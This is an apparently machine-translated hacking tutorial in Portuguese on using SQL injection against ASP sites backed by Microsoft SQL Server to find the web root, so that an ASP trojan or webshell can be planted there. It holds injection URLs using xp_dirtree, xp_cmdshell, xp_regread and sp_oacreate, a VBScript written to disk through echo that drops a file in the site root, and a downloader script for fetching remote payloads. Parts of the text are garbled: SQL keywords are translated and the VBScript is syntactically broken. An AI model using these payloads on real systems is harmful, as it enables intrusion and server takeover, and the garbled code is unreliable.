Injeção SQL para obter o caminho completo do site
Se o site tem apenas 80 portas, você achará os métodos a seguir mais úteis
Quase todos os métodos usados nele não são o que descobri, e o artigo sempre inclui alguma experiência pessoal e habilidades ao aplicar
Existem 4 métodos (atualmente conhecidos)
Primeiro método:
Esse é o <怪异的SQL注入>método introduzido em < >
Usando a xp_dirtree do sqlserver, vamos primeiro falar sobre o método e depois sobre suas vantagens e desvantagens (algumas adições são feitas com base no texto original)
Criar tabelas
Declaração:http://www.xxxxx.com/down/list.asp?id=1;create Direções da tabela (caminhos varchar(1000))--
Verso: Informação normal! Isso significa que a tabela foi criada com sucesso! Continue!
(O que foi criado é um pouco maior que o original, porque encontrei um arquivo com um nome longo e deletei o id porque não serve para nada)
Declaração:http://www.xxxxx.com/down/list.asp?id=1;insert Diretores executivos master.dbo.xp_dirtree 'C:\' --
Retornos: Informação normal. Isso significa que todos os diretórios escritos para o drive C são bem-sucedidos! Fresco! O próximo passo é pegar o parquímetro! Viole e saia. (Parece que só existe uma maneira de fazer isso)
Declaração:http://www.xxxxx.com/down/list.asp?id=1 e 0<>(selecione os caminhos top 1 das direções)-
Retornos: Microsoft OLE DB Provider for SQL Server erro 80040e07
Erro de sintaxe ocorre ao converter o valor varchar '@Inetpub' para uma coluna com tipo de dado int.
Depois, os nomes dos diretórios na tabela são espalhados em várias partes!
Declaração:http:// http://www.xxxxx.com/down/list.asp?id=1 e 0<>(selecione os caminhos top 1 de
Dirs onde caminhos não estão em( '@Inetpub'))--
Retornos: Microsoft OLE DB Provider for SQL Server erro 80040e07
O erro de sintaxe ocorreu ao converter o valor varchar 'test' para uma coluna com tipo de dado int.
Depois, os nomes dos diretórios na tabela são espalhados em várias partes!
Ok, vamos continuar
Declaração:http:// http://www.xxxxx.com/down/list.asp?id=1 e 0<>(selecione os caminhos top 1 de
Dires onde os caminhos não estão em( '@Inetpub','test'))--
Retornos: Microsoft OLE DB Provider for SQL Server erro 80040e07
Erro de sintaxe ocorre ao converter o valor varchar 'haha' para uma coluna com tipo de dado int.
Depois, os nomes dos diretórios na tabela são espalhados em várias partes!
Ok, você deveria saber como fazer, haha, é só adicionar o nome da tabela que você tem nesse parêntese, colocar quantos quiser,
Um pequeno truque:
Às vezes você vai perceber isso quando a entrada é semelhante
http://www.xxxxx.com/down/list.asp?id=1 e 0<>(selecione os caminhos top 1 das direções)-
Em vez de mostrar um erro, a página web é exibida normalmente
Tonta, não fique nervosa
Olhe para 0<> (selecione os caminhos top 1 dos dirs) para mostrar que o retorno é um número,
Haha, testa e vê quanto custa
100>(selecione os caminhos top 1 dos dirs)
De volta ao normal
Haha, você pode rapidamente adivinhar com esse método de maior ou menor
Ok, vamos continuar
Por exemplo, quando ele aparece
59=(selecionar os caminhos top 1 dos dirs)
Volte ao normal,
Ok, o nome é 59
Participe da seguinte forma
http:// http://www.xxxxx.com/down/list.asp?id=1 e 0<>(selecione os caminhos top 1 de
Dirs onde caminhos não estavam em('59')--
Lembre-se de colocar aspas
O método a seguir é o mesmo do original
Também há um problema
Às vezes, ao digitar 59 usando o método acima, percebo que a próxima pasta ainda é 59
O que está acontecendo?
Hehe, não sei se você percebeu que 059 e 59 são iguais?
Por isso haha,
http:// http://www.xxxxx.com/down/list.asp?id=1 e 0<>(selecione os caminhos top 1 de
Dirs onde os caminhos não estavam em('059'))--
Percebi que o próximo nome da pasta está exibido, ok
Análise de vantagens e desvantagens:
A vantagem é que todos os usuários do sqlserver podem usá-lo, porque xp_dirtree aplica a permissão PUBLIC,
A desvantagem é que ele exibe os nomes de todas as pastas no diretório, e o arranjo parece não estar em ordem, resumindo, é doloroso encontrar a pasta que você quer em milhares ou dezenas de milhares de pastas.
E você sabe que ter essa pasta não garante estar no diretório raiz, o que é realmente doloroso, muitas vezes depende de sorte e resistência.
Desejo sucesso a você
Método 2:
Utilize xp_cmdshell
Haha, todo mundo deve estar familiarizado com isso, deixe-me dizer brevemente
Criar tabelas
Declaração:http://www.xxxxx.com/down/list.asp?id=1;create Direções da tabela (caminhos varchar(1000))--
Verso: Informação normal! Isso significa que a tabela foi criada com sucesso! Continue!
(O que foi criado é um pouco maior que o original, porque encontrei um arquivo com um nome longo e deletei esse id porque não serve para nada.)
Declaração:http://www.xxxxx.com/down/list.asp?id=1;insertDireções Executivas master.dbo.xp_cmdshell 'Diretor C:\ /B/D' --
Retornos: Informação normal. Isso significa que todos os diretórios escritos para o drive C são bem-sucedidos! dir c:\ /B/D é usado aqui, haha, se você não sabe o que /B/D faz, tente ver o que ele faz
Declaração:http://www.xxxxx.com/down/list.asp?id=1 e 0<>(selecione os caminhos top 1 das direções)-
Retornos: Microsoft OLE DB Provider for SQL Server erro 80040e07
Erro de sintaxe ocorre ao converter o valor varchar '@Inetpub' para uma coluna com tipo de dado int.
Depois, os nomes dos diretórios na tabela são espalhados em várias partes!
Declaração:http:// http://www.xxxxx.com/down/list.asp?id=1 e 0<>(selecione os caminhos top 1 de
Dirs onde caminhos não estão em( '@Inetpub'))--
Retornos: Microsoft OLE DB Provider for SQL Server erro 80040e07
O erro de sintaxe ocorreu ao converter o valor varchar 'test' para uma coluna com tipo de dado int.
Depois, os nomes dos diretórios na tabela são espalhados em várias partes!
O método é o mesmo do que mencionei acima, então não vou falar sobre ele
Às vezes também podemos fazer algo com as duas extensões seguintes
1) Podemos aproveitar xp_availablemedia para obter todos os drives atuais e salvá-los na tabela de dirs:
5 ; insira dirs executivo master.dbo.xp_availablemedia; --
Podemos obter a lista de drives e informações relacionadas consultando o conteúdo do temp
(2) Podemos usar xp_subdirs para obter a lista de subdiretórios e armazená-los na tabela de diretórios:
5 ; inserir no diretor executivo master.dbo.xp_subdirs 'c:\' ; --
Análise de vantagens e desvantagens:
Obviamente, isso não xp_dirtree a situação em que todos os diretórios são reunidos, apenas o diretório de primeiro nível será exibido, o que é muito mais fácil de encontrar.
As desvantagens também são óbvias, só a SA tem essa permissão, e também é possível que o administrador tenha excluído essa extensão (afinal, ela é poderosa demais).
Método 3:
Essa abordagem é boa
O texto a seguir é o original
Pensei em usar o programa adsutil.vbs, que executei
a'; Mestre Executivo... xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt'; --
Não é longo? Por meio dele, podemos configurar o primeiro site virtual no IIS (incluindo o diretório real onde ele está localizado, é claro)
Importar para a.txt
O padrão para a localização real do a.txt é, claro, c:\winnt\system32, o que na verdade não é um problema, mas ao encontrar um administrador que define o adsutil.vbs
Apague ou coloque em outro lugar
Não podemos fazer nada a respeito (você não pode escrever um com o comando echo você mesmo)
Passo 2: Use o comando echo para escrever o seguinte código em c:\, que não é muito
..... xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject">c:\read.vbs'; --
..... xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell">>c:\read.vbs'
; --
.....
-------------------read.vbs---------------------------------
Set FSO1=createObject("scripting.filesystemobject"
Defina WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("processo"("windir"
Set Fil =fso1.opentextfile(SPA & "\system32\aa.txt"
fazer enquanto não fil.atendofstream
nr=fil.readline
se left(nr,4)="Caminho" então
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
saída do
fim se
Loop
Set Fil1 =FSO1.OpenTextFile(PA &"\dd.asp",2,true)
fil1.writeline ""
---------------Corte aqui-------------------------------------
Passo 3: Claro, é executar o read.vbs, para que possamos ler o conteúdo do aa.txt e encontrar o caminho real do site
Depois, escreva um arquivo chamado dd.asp na diretório raiz do site, e você saberá se consegue tentar com sucesso
executarhttp://x.x.x.x/dd.asp
Retornos: \xxx
Haha, é um jeito bom,
No entanto, o texto original parece apresentar alguns problemas
É sim
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)
Erro ocorre quando duas frases são enviadas
Então criamos o sinal de mais, que tem a mesma função que e
E sobre o que escrever dd.asp? Escreva para o pai, haha
Haha, eu mudei
-------------------read.vbs---------------------------------
Set FSO1=createObject("scripting.filesystemobject"
Defina WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("processo"("windir"
Set fil =fso1.opentextfile(spa "\system32\aa.txt"
fazer enquanto não fil.atendofstream
nr=fil.readline
se left(nr,4)="Caminho" então
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
saída do
fim se
Loop
Set fil1 =fso1.opentextfile(PA "\dd.asp",2,true)
fil1.writeline pa
---------------Corte aqui--------------------------------------
Como o número de tempo é convertido em um espaço ao enviar em um navegador, você também deve definir o
Ele se torna %2B, ok, deve ficar tudo bem, assim segue
-------------------read.vbs---------------------------------
Set FSO1=createObject("scripting.filesystemobject"
Defina WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("processo"("windir"
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
fazer enquanto não fil.atendofstream
nr=fil.readline
se left(nr,4)="Caminho" então
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
saída do
fim se
Loop
set fil1 =fso1.opentextfile(pa %2B "\dd.asp",2,true)
fil1.writeline pa
---------------Corte aqui--------------------------------------
Se descobrirmos que o 1 não está lá, podemos nos tornar 2, 3, 4...........
a'; Mestre Executivo... xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt'; --
Mas esse método só pode ser usado no Windows 2000, porque os endereços dos sites recém-criados abaixo de 2003 não estão organizados de acordo com 1234, parece ser gerado aleatoriamente, e eu comparei vários abaixo de 2003
endereço, não foi encontrado regularidade.
Análise de vantagens e desvantagens:
O mesmo xp_cmdshell nem todo usuário pode usar! Outro problema é que o arquivo adsutil não necessariamente existe, ou não está necessariamente nesse caminho, embora você possa usá-lo se quisesse
Echo escreve um (haha, antigo e antigo), e outra pergunta é: e se houver muitos sites no host? Conheci um anfitrião com nove locais, e apenas o oitavo é útil
Sim, fraco, é difícil para alguém ter paciência para persistir tanto, talvez tenha desmoronado há muito tempo. Além disso, não pode ser usado em 2003!
Mas, para ser honesto, esse método é realmente um bom método
Método 4:
Esse método é ler o caminho do registro por xp_regread etc
O seguinte é recomendado para obter o caminho da página web (leia o registro por meio de procedimentos armazenados):
Utilize o xp_regread de procedimento armazenado embutido (ler chave de registro, permissão pública):
Declaração: http://www.xxx.com/list.asp?classid=1; create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare@test
Varchar (20) mestre executivo... xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , valores=@test SAÍDA inserir nos caminhos
(Valores) (@test)
Caminho padrão IIS no registro HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
Use o campo rajada para ler o valor do banco de dados:
Instrução: http://www.xxx.com/list.asp?classid=1 e 0<>(selecione os caminhos top 1 do newtable)--return: Microsoft OLE DB Provider para
Erro dos drivers ODBC 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server] converte varchar value E:\www,,201 em um tipo de dado int
coluna.
Isso significa que o diretório da página web está em E:\www, e você também pode usar o FSO para escrever diretamente no Trojan ASP
E se você não conseguir um diretório web? Você precisa adivinhar se o site usa a WEB padrão ou o nome de domínio como WEB.
declare @o int exec sp_oacreate wscript.shell, @o execute sp_oamethod @o executivo out, execute , NULL,' cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "site padrão" -v "e","e:\"'
Crie um diretório virtual E sob o site WEB padrão, apontando para E: sob disco.
declare @o int exec sp_oacreate wscript.shell, @o execute sp_oamethod @o executivo out, execute , NULL,' cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -uma navegação w3svc/1/ROOT/e'
É bom adicionar atributos de navegação ao diretório virtual, por exemplo. Abra um serviço virtual para você. Pensando nesses caminhos de diretórios de páginas da web, minha cabeça quase está quebrada. Agora abri os olhos. Esse é o WEBSHELL que usa MS
SQL é o fim do nosso trabalho, e o próximo trabalho deve ser seu.
Haha, o método é bom, leia no formulário de inscrição, prático e rápido!
Análise de vantagens e desvantagens:
A vantagem, claro, é que é conveniente e rápido. A desvantagem é que você só pode ver o caminho do site padrão do IIS, e se ele não for mais o site padrão, não há nada que você possa fazer (eu rastreei com o Regsnape), se estiver abaixo de 2003
Ou seja, nem mesmo o caminho padrão do site é exibido! Com dor
Aliás, na verdade, existem outras formas de continuar a intrusão além de encontrar o caminho do site, como enviar o trojan de retorno pelo tftp ou escrever um iget.vbs para baixar o dongdong que você quer
O código iget.vbs é o seguinte:
---------comece----------
Set xPost = createObject("Microsoft.XMLHTTP"
xPost.Open "GET",LCase(WScript.Arguments(0)),0
xPost.Send()
Defina sGet = createObject("ADODB. Stream"
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1),2
----------fim-----------
Suplemento a este artigo:
Recentemente, percebi que meu entendimento das instruções do Presidente Mao não era profundo o suficiente, e gostaria de acrescentar aqui
Na verdade, os métodos acima não precisam ser comparados xp_dirtree são os melhores, desde que esse único método seja suficiente
É só porque eu fui muito ..............
Hoje, vou desenterrar o segredo de xp_dirtree novamente
Ok, vamos fazer o mestre executivo: xp_dirtree'd:/test'
Digamos que temos duas pastas em teste, test1 e test2, e test3 em test1
Os resultados mostram
Profundidade do subdiretório
Teste1 1
Test3 2
Teste2 1
Haha, percebi que não existe profundidade nessa série do diretório
Ok, saiba o que fazer
http://www.xxxxx.com/down/list.asp?id=1;create Diretores da tabela (caminhos varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert Diretores executivos master.dbo.xp_dirtree 'D:\' --
http://www.xxxxx.com/down/list.asp?id=1 e 0<>(selecione os caminhos top 1 a partir de direções onde id=1)-
Desde que id=1 seja adicionado, ele é o diretório de primeiro nível.
|